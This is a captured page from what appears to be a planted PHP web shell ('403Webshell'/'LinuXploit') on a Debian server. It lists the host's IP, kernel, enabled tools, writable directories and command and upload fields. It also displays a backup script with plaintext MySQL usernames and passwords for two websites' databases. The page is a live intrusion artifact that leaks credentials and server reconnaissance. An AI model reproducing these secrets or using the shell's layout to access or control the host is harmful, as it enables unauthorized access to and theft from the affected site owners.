403Webshell
Server IP : 46.101.140.223  /  Your IP : 216.73.216.134
Web Server : nginx/1.22.1
System : Linux debian-s-1vcpu-1gb-fra1-01 6.1.0-49-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.174-1 (2026-05-26) x86_64
User : deploy-others ( 1001)
PHP Version : 8.2.32
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /home/backups/.bin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/backups/.bin/backup
#!/bin/bash

# Config
target_dir="/home/backups/backup/"
target_sync_dir="/home/backups/sync/"
folkprog_assets_base_dir="/home/deploy/projects/folkprog.net/web/assets/"
gulak_wp_content="/home/deploy-others/projects/gulak.org.ua/wp-content/"
keep_files_days=30
# End Config

date_string=`date +%Y-%m-%d-%H-%M`

# DBs backup
mysqldump -ufolkprog -pequTWDh7TyZJruTW folkprog | gzip -c > "${target_dir}folkprog_${date_string}.sql.gz"
mysqldump -ugulak -puPKw9NT2Dh7TyZJr gulak | gzip -c > "${target_dir}gulak_${date_string}.sql.gz"

# Folkprog uploads backup
tar -czf "${target_dir}folkprog-files.tar.gz" "${folkprog_assets_base_dir}"

# gulak wp-content backup
tar -czf "${target_dir}gulak-wp-content.tar.gz" "$gulak_wp_content"

# Clean old backup files
find "$target_dir" -type f -mtime +"$keep_files_days" -exec rm -f {} \;
find "$target_sync_dir" -type f -mtime +"$keep_files_days" -exec rm -f {} \;

# Packing files to sync dir
tar -czf "${target_sync_dir}backup_${date_string}.tar.gz" "$target_dir"

rclone sync --progress /home/backups/sync Backups:backups

Youez - 2016 - github.com/yon3zu
LinuXploit